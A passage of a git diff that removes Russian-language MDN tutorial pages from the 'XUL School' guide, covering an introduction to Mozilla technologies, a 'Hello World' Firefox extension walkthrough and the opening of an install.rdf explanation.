-<p>Расширения — это небольшие дополнения (<span>add-on</span>), добавляющие новые функциональные возможности приложениям <span>Mozilla</span>, таким как <span>Firefox</span> и <span>Thunderbird</span>. С их помощью в приложение можно добавить что угодно, от кнопки на панели инструментов до совершенно новой возможности. Они позволяют настраивать приложения с учётом личных потребностей каждого пользователя, которому могут понадобиться дополнительные функциональные возможности, сохраняя при этом приложения небольшими для скачивания.</p>
-</blockquote>
-
-<p>Взято со <a href="/ru/Extensions" title="ru/Extensions">страницы о расширениях</a>.</p>
-
-<p>Как говорится в приведенной цитате, расширения - это маленькие приложения добавляющие что-нибудь новое к тому или иному приложению Mozilla. Этот учебник посвящён расширениям для Firefox, но те же самые (или схожие) принципы применимы для создания расширений для других приложений, таких как Thunderbird, Seamonkey и Flock.</p>
-
-<p>Стоит также отметить, что определения <em>расширение</em> (extension) и <em>дополнение</em> (add-on) различаются. Все расширения - это дополнения, но дополнения также могут быть темами, плагинами, или языковыми пакетами. Данный учебник - о разработке расширений, но темы и языковые пакеты разрабатываются очень похожим образом. Плагины (plugins) полностью отличаются, поэтому здесь мы их рассматривать не будем. Вы можете прочитать больше о плагинах и их разработке на <a href="/en/Plugins" title="en/Plugins">странице о плагинах</a>.</p>
-
-<p>Firefox предоставляет очень богатую и гибкую архитектуру, позволяющую разработчикам расширений добавлять дополнительные возможности, настраивать деятельность пользователей, а также полностью заменять и удалять части браузера. Склад дополнений (репозитарий)<span class="link-https"> Mozilla</span> - <a href="https://addons.mozilla.org" title="https://addons.mozilla.org">Mozilla Add-on repository (AMO)</a> - содержит множество расширений с разнообразной функциональностью. Например: фильтрация контента (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1865" title="https://addons.mozilla.org/en-US/firefox/addon/1865">AdBlock Plus</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/722" title="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a>), взаимодействие с web-приложениями (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/3615" title="https://addons.mozilla.org/en-US/firefox/addon/3615">Delicious Bookmarks</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5202" title="https://addons.mozilla.org/en-US/firefox/addon/5202">eBay Companion</a>), web-разработка (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1843" title="https://addons.mozilla.org/en-US/firefox/addon/1843">Firebug</a>), защита детей (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5881" title="https://addons.mozilla.org/en-US/firefox/addon/5881">Glubble For Families</a>). Существуют современные, достаточно функциональные и сложные расширения. Вы познакомитесь со многим, что может понадобится для разработки таких приложений. Фирма Glaxstar работал над тремя дополнениями из перечисленных выше.</p>
-
-<p>Расширения сейчас существуют в трёх формах:</p>
-
-<ol>
- <li>Дополнения расширений SDK (также известны как "Jetpacks" - "реактивные ранцы"). <a href="http://ru.wikipedia.org/wiki/SDK" title="http://ru.wikipedia.org/wiki/SDK">SDK - software development kit - (англ.) комплект средств разработки.</a></li>
- <li>Расширения начальной загрузки.</li>
- <li>Традиционные расширения.</li>
-</ol>
-
-<p>Если вы новичок в разработке дополнений, то комплект разработки  SDK - предоставляет хороший способ быстро создать простые расширения.  Этот учебник посвящён традиционным расширениям, которые создаются по-другому. Загрузочные расширения по сложности на ступеньку выше обычных, поэтому стоит изучить этот материал, прежде чем пытаться их делать.</p>
-
-<p>Начнём обучение с анализа очень простого расширения.</p>
-
-<h2 id="Расширение_Привет_мир!">Расширение "Привет, мир!"</h2>
-
-<p>Примеры расширений и этот учебник в целом предназначаются для современных версий Firefox, но большинство из всего этого работает и на устаревших версиях.</p>
-
-<p>Мы начнем с традиционного расширения "Привет, мир!" (Hello World). И начнём мы с его установки.  Щёлкните по ссылке ниже.</p>
-
-<p><a href="/@api/deki/files/5139/=xulschoolhello1.xpi" title="https://developer.mozilla.org/@api/deki/files/5139/=xulschoolhello1.xpi">Установить "Hello World"</a></p>
-
-<p>Это запустит либо установку, либо загрузку файлов - в зависимости от типа содержимого ("content type"), которое для этого файла использует веб-сервер. Тип содержимого, соответствующий запуску установки - <strong>"application/x-<strong>xpinstall"</strong></strong>. В данном случае тип содержимого установлен правильно и должно появлятся окно установки расширения.</p>
-
-<p>Если тип содержимого установлен правильно, то вы, вероятно, получите уведомление о том, что сайту не позволено устанавливать дополнения в ваш браузер Firefox. Это защитный барьер, предотвращающий установку сайтами расширений без согласия пользователя. Он необходим из-за того, что вредоносное расширение может причинить вред такого же уровня, как и любая другая вредоносная программа: совершить кражу данных, удаление или замену файлов и вообще, вызвать нежелательное поведение. Все дополнения , опубликованные в <a class="link-https" href="https://addons.mozilla.org/" title="https://addons.mozilla.org/">AMO</a>, прошли через процесс предварительного рассмотрения, включающий проверку безопасности.</p>
-
-<p>После загрузки файла, вы можете перенести ("drag and drop") его в область содержимого Firefox - и должна начаться установка.</p>
-
-<p>Вы увидите окно с сообщением, что вы собираетесь установить расширение и с какой-нибудь дополнительной информацией, вроде имени автора. Вы увидите сообщение о том, что автор не может быть проверен. Проверить авторство возможно только у расширений, подписанных с помощью цифрового сертификата. Подписанные расширения редки, но позже мы рассмотрим, как их подписывать.</p>
-
-<p>Нажмите на кнопку "Установить сейчас" ("Install Now"). После установки расширения, вам будет предложено перезапустить Firefox. Установка, удаление, включение и выключение расширения требуют перезагрузки для завершения операции . Исключение составляют плагины NPAPI, дополнения SDK расширений и загрузочные расширения. Имейте это в виду, если вы создаете расширение, манипулирующее другими расширениями или темами.</p>
-
-<p>После установки, взгляните на главное окно Firefox и посмотрите не изменилось ли что-нибудь.</p>
-
-<p>Вы это видели? В главном меню появилось новое подменю с надписью "Hello World!" ("Привет, мир!"). Если вы откроете меню, а затем в меню пункт ниже, вы увидите замечательное сообщение.  Нажмите на кнопку ОК, чтобы его закрыть.</p>
-
-<p><img alt="" class="internal" src="https://developer.mozilla.org/@api/deki/files/4138/=helloworldalert.png" style="height: 126px; width: 326px;"></p>
-
-<p>Это всё, что делает это расширение. Теперь давайте посмотрим на него внимательнее.</p>
-
-<h2 id="Содержимое_Расширения">Содержимое Расширения</h2>
-
-<p>Возможно, вы заметили, что файл установки расширения называется xulschoolhello1.xpi. <a href="/en/XPI" title="en/XPI">XPI</a> (произносится как "зиппи". "zippy" - с англ: живой, быстрый, энергичный, яркий) выступает в качестве кроссплатформенного установщика, потому что один файл установки может быть обработан на всех платформах, поддерживаемых браузером Firefox. Файлы XPI - это просто данные, сжатые архиватором ZIP, однако Firefox распознает расширение XPI и запускает процесс установки при попытке загрузить такой файл.</p>
-
-<p>Чтобы заглянуть в файл XPI вам нужно сперва скачать его - не устанавливая. Если сервер запускает установку при нажатии на ссылку или кнопку - откажитесь, а затем нажмите правой кнопкой мыши на <a href="/@api/deki/files/5139/=xulschoolhello1.xpi" title="/@api/deki/files/5139/=xulschoolhello1.xpi">ссылке установки</a> и выберите вариант "Сохранить ссылку как..." ("Save Link As...").</p>
-
-<p>Далее распакуем файл XPI.  Один из способов сделать это: переименовать расширение файла из <em>"xpi"</em> в <em>"zip"</em>. (в Линуксе это не требуется, т.к. расширения нужны только в декоративных целях, а программы распознают тип файла сами) Другой способ - открыть файл с помощью архиватора, поддерживающего стандарт ZIP.  Выберите и распакуйте архив в удобное место. Вы увидите структуру каталогов вроде этой:</p>
-
-<ul>
- <li>xulschoolhello1
- <ul>
- <li>chrome.manifest</li>
- <li>install.rdf</li>
- <li>content
- <ul>
- <li>browserOverlay.xul</li>
- <li>browserOverlay.js</li>
- </ul>
- </li>
- <li>skin
- <ul>
- <li>browserOverlay.css</li>
- </ul>
- </li>
- <li>locale
- <ul>
- <li>en-US
- <ul>
- <li>browserOverlay.dtd</li>
- <li>browserOverlay.properties</li>
- </ul>
- </li>
- </ul>
- </li>
- </ul>
- </li>
-</ul>
-
-<p>Так много файлов для такой ерунды! Не волнуйтесь, мы скоро увидим назначение всех этих файлов и вы поймёте, что всё довольно просто. В следующем разделе мы изучим эти файлы и посмотрим, что же они делают.</p>
-
-<p>{{ PreviousNext("XUL_School/Introduction", "XUL_School/The_Essentials_of_an_Extension") }}</p>
-
-<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
-
-<p>{{ languages( { "fr": "fr/Vulgarisation_XUL/Premiers_pas_avec_les_extensions_Firefox" } ) }}</p>
-
-<div id="cke_pastebin" style="position: absolute; top: 1090.5px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/ru/xul_school/index.html b/files/ru/xul_school/index.html
deleted file mode 100644
index df9ea3174e..0000000000
--- a/files/ru/xul_school/index.html
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: Школьный учебник по XUL
-slug: XUL_School
-translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School
----
-<p>Школа XUL - это содержательное руководство по разработке дополнений, в котором акцент сделан на разработке расширений Firefox. Рекомендуется прочитать его полностью хотя бы один раз. Поскольку Firefox быстро развивается, содержание данного руководства должно обновляться и быть актуальным.</p>
-<dl>
- <dt>
- Введение</dt>
- <dd>
- <ul>
- <li><a href="/ru/XUL_School/Introduction" title="ru/XUL School/Introduction">Введение</a></li>
- <li><a href="/ru/XUL_School/Getting_Started_with_Firefox_Extensions" title="/ru/XUL_School/Getting_Started_with_Firefox_Extensions">Приступая к работе с расширениями Firefox</a></li>
- <li><a href="/ru/XUL_School/The_Essentials_of_an_Extension" title="/ru/XUL_School/The_Essentials_of_an_Extension">Основы расширения</a></li>
- <li><a href="/ru/docs/XUL_School/Настройка_среды_разработки" title="/ru/docs/XUL_School/Настройка_среды_разработки">Настройка среды разработки</a></li>
- <li><a href="/en/XUL_School/JavaScript_Object_Management" title="en/XUL School/JavaScript Object Management">Менеджер объектов JavaScript</a></li>
- </ul>
- </dd>
- <dt>
- Основной набор возможностей</dt>
- <dd>
- <ul>
- <li><a href="/ru/XUL_School/Добавление_меню_и_подменю" title="ru/XUL School/Добавление меню и подменю">Добавление меню и подменю</a></li>
- <li><a href="/en/XUL_School/Adding_Toolbars_and_Toolbar_Buttons" title="en/XUL School/Adding Toolbars and Toolbar Buttons">Добавление панели инструментов и кнопок на панели инструментов</a></li>
- <li><a href="/en/XUL_School/Adding_Events_and_Commands" title="en/XUL School/Adding Events and Commands">Добавление событий и команд</a></li>
- <li><a href="/en/XUL_School/Adding_windows_and_dialogs" title="en/XUL School/Adding windows and dialogs">Добавление окон и диалогов</a></li>
- <li><a href="/en/XUL_School/Adding_sidebars" title="en/XUL School/Adding sidebars">Добавление боковых панелей</a></li>
- <li><a href="/en/XUL_School/User_Notifications_and_Alerts" title="en/XUL School/User Notifications and Alerts">Уведомление и оповещение пользователей</a></li>
- </ul>
- </dd>
- <dt>
- Intermediate functionality</dt>
- <dd>
- <ul>
- <li><a href="/en/XUL_School/Intercepting_Page_Loads" title="en/XUL School/Intercepting Page Loads">Intercepting page loads</a></li>
- <li><a href="/en/XUL_School/Connecting_to_Remote_Content" title="en/XUL School/Connecting to Remote Content">Connecting to Remote Content</a></li>
- <li><a href="/en/XUL_School/Handling_Preferences" title="en/XUL School/Handling Preferences">Handling preferences</a></li>
- <li><a href="/en/XUL_School/Local_Storage" title="en/XUL School/Local Storage">Local Storage</a></li>
- </ul>
- </dd>
- <dt>
- Advanced topics</dt>
- <dd>
- <ul>
- <li><a href="/en/XUL_School/The_Box_Model" title="en/XUL School/The Box Model">The Box Model</a></li>
- <li><a href="/en/XUL_School/XPCOM_Objects" title="en/XUL School/XPCOM Objects">XPCOM Objects</a></li>
- <li><a href="/en/XUL_School/Observer_Notifications" title="en/XUL School/Observer Notifications">Observer Notifications</a></li>
- <li><a href="/en/XUL_School/Custom_XUL_Elements_with_XBL" title="en/XUL School/Custom XUL Elements with XBL">Custom XUL Elements with XBL</a></li>
- <li><a href="/en/XUL_School/Mozilla_Documentation_Roadmap" title="en/XUL School/Mozilla Documentation Roadmap">Mozilla Documentation Roadmap</a></li>
- <li><a href="/en/XUL_School/Useful_Mozilla_Community_Sites" title="en/XUL School/Useful Mozilla Community Sites">Useful Mozilla Community Sites</a></li>
- </ul>
- </dd>
- <dt>
- Приложения</dt>
- <dd>
- <ul>
- <li><a href="/en/XUL_School/Appendix_A:_Add-on_Performance" title="en/XUL School/Appendix A: Add-on Performance">Приложение A: Производительность дополнений</a></li>
- <li><a href="/en/XUL_School/Appendix_B:_Install_and_Uninstall_Scripts" title="en/XUL School/Appendix B: Install and Uninstall Scripts">Приложение B: Установка и удаление скриптов</a></li>
- <li><a href="/en/XUL_School/Appendix_C:_Avoid_using_eval_in_Add-ons" title="en/XUL School/Appendix C: Avoid using eval in Add-ons">Приложение C: Как избежать использования eval в дополнениях</a></li>
- <li><a href="/en/XUL_School/Appendix_D:_Loading_Scripts" title="en/XUL School/Appendix D: Loading Scripts">Приложение D: Загрузка скриптов</a></li>
- <li><a href="/en/XUL_School/DOM_Building_and_HTML_Insertion" title="en/XUL School/Appendix E: DOM Building and HTML Insertion">Приложение E: Построение DOM и внедрение HTML</a></li>
- <li><a href="/en/XUL_School/Appendix_F:_Monitoring_DOM_changes" title="en/XUL School/Appendix F: Monitoring DOM changes">Приложение F: Отслеживание изменений в DOM</a></li>
- </ul>
- </dd>
-</dl>
-<p>The XUL School project was developed by <a class="external" href="http://appcoast.com/" title="http://appcoast.com/">Appcoast</a> (formerly Glaxstar). The project is now published here following its <a href="/Project:Copyrights" title="https://developer.mozilla.org/Project:Copyrights">sharing licenses</a>. Its contents have been modified from the original source as necessary.</p>
-<div class="noinclude">
- <p>{{ languages( { "ja": "ja/XUL_School", "fr": "fr/Vulgarisation_XUL", "es": "es/Escuela_XUL" } ) }}</p>
-</div>
-<p> </p>
-<div style="position: fixed; display: none; background-color: rgb(51, 204, 255); padding: 7px; color: rgb(0, 0, 0); border-radius: 7px 7px 7px 7px; font-size: 14px; max-width: 400px; font-family: Arial,Helvetica,sans-serif; line-height: 100%; text-align: left; border-style: dashed; border-width: 2px; border-color: rgb(0, 0, 153); opacity: 1; top: 190.317px; left: 64px;">
- Настройка среды разработки</div>
-<div style="display: none; position: fixed; width: 450px; padding: 3px; border-width: 0px 0px 2px 2px; border-style: dashed; border-color: grey; border-radius: 0px 0px 0px 5px; background-color: rgb(255, 255, 255); overflow: auto; min-height: 200px; text-align: center; color: rgb(0, 0, 0); right: 0px; top: 0px;">
- <textarea></textarea><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option selected value="auto">Detect language</option><option value="nl">Dutch</option><option value="en">English</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="ko">Korean</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select><span style="font-weight: bold; cursor: pointer; color: lightgrey;">⇄</span><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="ko">Korean</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option selected value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select>
- <div style="text-align: left; background-color: rgb(235, 239, 249);">
- Detect language » Russian</div>
- <div style="width: 444px; max-width: 444px; padding: 2px; min-height: 80px; border-width: 1px; border-style: solid; border-color: grey; background-color: rgb(255, 255, 255); text-align: justify;">
-  </div>
-</div>
diff --git a/files/ru/xul_school/introduction/index.html b/files/ru/xul_school/introduction/index.html
deleted file mode 100644
index 0057c15f7d..0000000000
--- a/files/ru/xul_school/introduction/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: Введение
-slug: XUL_School/Introduction
-translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Introduction
----
-<p>{{ Next("XUL_School/Getting_Started_with_Firefox_Extensions") }}</p>
-<p>Добро пожаловать в Школьный Учебник по XUL!</p>
-<p>Этот учебник предназначен стать трамплином, который в мгновение ока вознесёт вас до уровня профессионального разработчика расширений Firefox. Мы вложили в него годы опыта работы с XUL, предоставив множество решений проблем, с которыми обычно сталкиваются разработчики расширений.</p>
-<p>Школа XUL была создана <a class="external" href="http://appcoast.com/" title="http://appcoast.com/">Appcoast</a> (прежде Glaxstar) - одной из немногих компаний, предназначенных для разработки высококачественных расширений к Firefox-у. В то время, когда был создан этот учебник, Glaxstar собрала команду из более, чем дюжины разработчиков XUL, и здесь отражён их общий многолетний опыт создания расширений для Firefox.</p>
-<p>В этом учебнике вы узнаете как разрабатывать расширения к Firefox. Вы научитесь быстро выполнять наиболее распространённые задачи в разработке расширений, сравнивая несколько разных подходов к их решению. В большинстве случаев мы предоставим образцы кода, (которые вы сможете просто скопировать и приспособить под свои нужды), а также некоторые работающие примеры расширений. Учебник предназначен быть как можно более кратким, часто ссылаясь к документации Mozilla на более подробную информацию. Вы можете думать об этом как о кратком путеводителе по огромному миру платформы Mozilla. Большинство ссылок в этой документации даны для того, чтобы по ним щёлкнули и прочитали.</p>
-<p>Мы начнём с краткого введения в некоторые ключевые понятия, на случай, если вы не знакомы с Mozilla и Firefox.</p>
-<h2 id="Mozilla_и_Firefox">Mozilla и Firefox</h2>
-<p>Термин <a class="external" href="http://en.wikipedia.org/wiki/Mozilla" title="http://en.wikipedia.org/wiki/Mozilla">Mozilla</a> используется для обозначения нескольких понятий: проект Mozilla, фонд <a class="external" href="http://en.wikipedia.org/wiki/Mozilla_Foundation" title="http://en.wikipedia.org/wiki/Mozilla_Foundation">Mozilla Foundation</a>, корпорация <a class="external" href="http://en.wikipedia.org/wiki/Mozilla_Corporation" title="http://en.wikipedia.org/wiki/Mozilla_Corporation">Mozilla Corporation</a> старый <a href="http://en.wikipedia.org/wiki/Mozilla_Application_Suite" title="http://en.wikipedia.org/wiki/Mozilla_Application_Suite">браузер Mozilla</a>. Даже Firefox иногда упоминается как "Mozilla". Если вы не знакомы с этими терминами, хорошо, что вы уделили время чтобы узнать немного о Mozilla. Это поможет вам понять культуру вокруг сообщества.</p>
-<p>Сообщество Mozilla породило несколько <a href="http://www.mozilla.org/projects/" title="http://www.mozilla.org/projects/">продуктов и проектов</a>, самым известным из которых является веб-браузер Mozilla Firefox. Firefox - один из самых успешных проектов с открытым кодом в истории, сочетающий в себе открытость, соответствие стандартам и изощрённость открытого кода с сосредоточением на пользовательском опыте и мощной программе поддержки, чаще присущим менее открытым компаниям.</p>
-<p>Версия Firefox номер 1.0 была выпущена в ноябре 2004 года, версия 2.0 - в октябре 2006 года, а версия 3.0 - в июне 2008 года. Этот учебник был написан после выпуска Firefox 3 и со временем был обновлён. В то время как большая его часть должна работать для создания расширений Firefox 3 (и даже Firefox 2), настоятельно рекомендуется, чтоб вы стремились поддерживать современные версии Firefox, чтобы поощрять пользователей придерживаться всех актуальных исправлений, касающихся безопасности. Выпуск, старее 6 месяцев, скорее всего, уязвим к опубликованным "ошибкам безопасности".</p>
-<h2 id="XUL">XUL</h2>
-<p>XUL - the XML User interface Language - язык разметки пользовательского интерфейса на основе XML (расширенного языка разметки).</p>
-<p><a href="/en/XUL" title="en/XUL">XUL</a> (произносится "зул") - это одна из многих технологий, используемых при создании продуктов и расширений на основе Mozilla. Это только одна часть панорамы разработки, но, учитывая, что это практически исключительно для Mozilla, это, как правило, используется для отождествления всех разработок, связанных с Мозиллой. Вы порой будете встречать такие термины, как "XUL-приложения" и "XUL-расширения", но редко они будут относиться к проектам, построенным исключительно с XUL. Обычно это означает проекты, построенные с использованием технологий Mozilla. Даже этот проект, названный Школой XUL, охватывает ряд других технологий, таких как JavaScript, CSS, XBL и XPCOM.</p>
-<h2 id="Gecko_(Геккон)">Gecko (Геккон)</h2>
-<p><a href="/en/Gecko" title="/en/Gecko">Движок Gecko</a> - это часть Firefox, используемая для отрисовки его пользовательского интерфейса и веб-страниц. Вы можете определить уровень совместимости веб-стандартов в <a href="http://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%BE%D0%B2#.D0.91.D1.80.D0.B0.D1.83.D0.B7.D0.B5.D1.80.D1.8B_.D0.BD.D0.B0_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BA.D0.B5_Gecko" title="http://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%BE%D0%B2#.D0.91.D1.80.D0.B0.D1.83.D0.B7.D0.B5.D1.80.D1.8B_.D0.BD.D0.B0_.D0.B4.D0.B2.D0.B8.D0.B6.D0.BA.D0.B5_Gecko">браузерах на основе Gecko</a>, глядя на их строку <a href="http://ru.wikipedia.org/wiki/User_Agent" title="http://ru.wikipedia.org/wiki/User_Agent">"Агент Пользователя" (User Agent, UA)</a>, которая должна включать версию Gecko. Версии Gecko несколько независимы от версий Firefox, и вы можете увидеть карту версий Firefox и версий Gecko на <a href="/en/Gecko" title="/en/Gecko">странице Gecko</a>. Строка UA для Firefox на момент написания этой статьи (в американском английском, Mac OS X):</p>
-<p>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:<strong>7.0.1</strong>) Gecko/20100101 Firefox/7.0.1</p>
-<p>Выделенный фрагмент - это версия Gecko: 7.0.1. Вы можете прочесть и скопировать строку UA, любого окна Firefox, выбрав в главном меню: "Справка" &gt; "Информация о поиске и устранении неисправностей.".</p>
-<h2 id="XULRunner_(Пускатель_XUL)">XULRunner (Пускатель XUL)</h2>
-<p>Firefox и другие приложения Mozilla, можно рассматривать как состоящие из двух разных частей: слой пользовательского интерфейса, отличающийся в каждом проекте, и общую платформу, поверх которой построен слой интерфейса. Эта платформа известна как <a href="/en/XULRunner" title="/en/XULRunner">"XULRunner"</a>. XULRunner включает в себя отрисовывающий движок Gecko, <a href="/en/Necko" title="/en/Necko">сетевую библиотеку Necko</a> и несколько других компонентов, обеспечивающих независимый от операционной системы: файл управления, "доступность", "локализацию" - среди прочих. Именно эта очень мощная платформа позволила обеспечить такой быстрый рост сообщества разработки вокруг Mozilla и Firefox.</p>
-<p>XULRunner доступен и в двоичной форме, на <a href="/en/XULRunner" title="/en/XULRunner">странице XULRunner</a>, и он является основой для нескольких проектов, таких, как Songbird (Певчая птичка), Миро и Eudora. В <a href="/en/XULRunner_Hall_of_Fame" title="/en/XULRunner_Hall_of_Fame">Зале Славы XULRunner</a> довольно обстоятельный список приложений, работающих на XULRunner-е.</p>
-<h2 id="К_учебнику">К учебнику</h2>
-<p>С основными понятиями на нашем пути разобрались, теперь мы вправе разрабатывать расширения.</p>
-<p>Вероятно, вам, всёж-таки интересно, что же именно такое эти расширения, что они могут делать, и как вы можете делать их. Собственно, весь этот учебник и посвящён объяснению этого.</p>
-<p>Добро пожаловать в мир разработки расширений!</p>
-<p>Пожалуй, начнём.</p>
-<p>{{ Next("XUL_School/Getting_Started_with_Firefox_Extensions") }}</p>
-<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
-<p>{{ languages( { "fr": "fr/Vulgarisation_XUL/Introduction" } ) }}ведение</p>
diff --git a/files/ru/xul_school/the_essentials_of_an_extension/index.html b/files/ru/xul_school/the_essentials_of_an_extension/index.html
deleted file mode 100644
index e4dcdba9d5..0000000000
--- a/files/ru/xul_school/the_essentials_of_an_extension/index.html
+++ /dev/null
@@ -1,456 +0,0 @@
----
-title: Устройство расширения
-slug: XUL_School/The_Essentials_of_an_Extension
-translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/The_Essentials_of_an_Extension
----
-<p> </p>
-
-<div class="blockIndicator warning">
-<p dir="ltr" id="docs-internal-guid-dff3a9fe-7fff-750b-9799-0456f08af0f4">Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
-</div>
-
-<p> </p>
-
-<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
-
-<p>{{ PreviousNext("XUL_School/Getting_Started_with_Firefox_Extensions", "XUL_School/Setting_Up_a_Development_Environment") }}</p>
-
-<h2 id="Файл_install.rdf">Файл install.rdf</h2>
-
-<p>В предыдущем разделе мы начали рассматривать содержимое расширения "Hello World". Теперь мы рассмотрим его файлы и код, начиная с файла <em>"install.rdf"</em>. Вы можете его открыть любым текстовым редактором.</p>
-
-<p>Файл подготовлен с применением специальной разновидности XML, под названием <a href="http://ru.wikipedia.org/wiki/Resource_Description_Framework" title="http://ru.wikipedia.org/wiki/Resource_Description_Framework"><span class="external">RDF</span></a>. RDF использовался как основной механизм хранения для Firefox, но сейчас заменяется упрощённой системой баз данных. Далее в учебнике мы рассмотрим обе эти системы хранения данных.</p>
-
-<p>Теперь давайте взглянем на важные части этого файла.</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;em:id&gt;helloworld@xulschool.com&lt;/em:id&gt;</pre>
-</div>
-</div>
-
-<p>Это уникальный идентификатор расширения. Firefox-у он нужен, чтобы отличать ваши расширения от других расширений, поэтому надо, чтобы у вас был уникальный ID.</p>
-
-<p>Есть два принятых стандарта для идентификаторов дополнений. Одним из них является формат адреса электронной почты, как в примере "Hello World", в котором должно быть что-то вроде <em><span style="color: #0000ff;">&lt;название-программы&gt;@&lt;ваш-домен&gt;</span></em>. Другой обычной практикой является использование порождённой строки <a href="http://ru.wikipedia.org/wiki/UUID" title="http://ru.wikipedia.org/wiki/UUID">UUID</a>, повторение которой крайне маловероятно. В Unix-системах, в командной строке есть инструмент под названием <em>uuidgen</em>, порождающий новые UUID-строки. Для всех других платформ также есть такие загружаемые инструменты, порождающие UUID. Окружающие скобки - это просто обозначение и это обычная практика. Пока ваш идентификатор сколь-нибудь уникален, то можно выбрать любую форму.</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;em:name&gt;XUL School Hello World&lt;/em:name&gt;
-&lt;em:description&gt;Welcome to XUL School!&lt;/em:description&gt;
-&lt;em:version&gt;0.1&lt;/em:version&gt;
-&lt;em:creator&gt;Appcoast&lt;/em:creator&gt;
-<span class="code-comment">&lt;em:homepageURL&gt;https://developer.Mozilla.org/en/XUL_School&lt;/em:homepageURL&gt;</span></pre>
-</div>
-</div>
-
-<p>Это данные, отображаемые до и после установки расширения и которые можно увидеть в панели управления дополнениями. Помощники и переводчики могут добавить много других тегов. Все подробности смотрите в <a href="/en/Install_Manifests" title="/en/Install_Manifests">полной спецификации</a> файла <strong>install.rdf</strong>.</p>
-
-<p>Так как расширения могут быть переведены на несколько языков, часто необходимо перевести описание расширения или, даже, его название. Локализованные описание и название могут быть вписаны с помощью следующего кода:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;em:localized&gt;
- &lt;Description&gt;
- &lt;em:locale&gt;ru-RU&lt;/em:locale&gt;
- &lt;em:name&gt;Школа XUL Привет мир&lt;/em:name&gt;
- &lt;em:description&gt;Добро пожаловать в школу XUL!&lt;/em:description&gt;
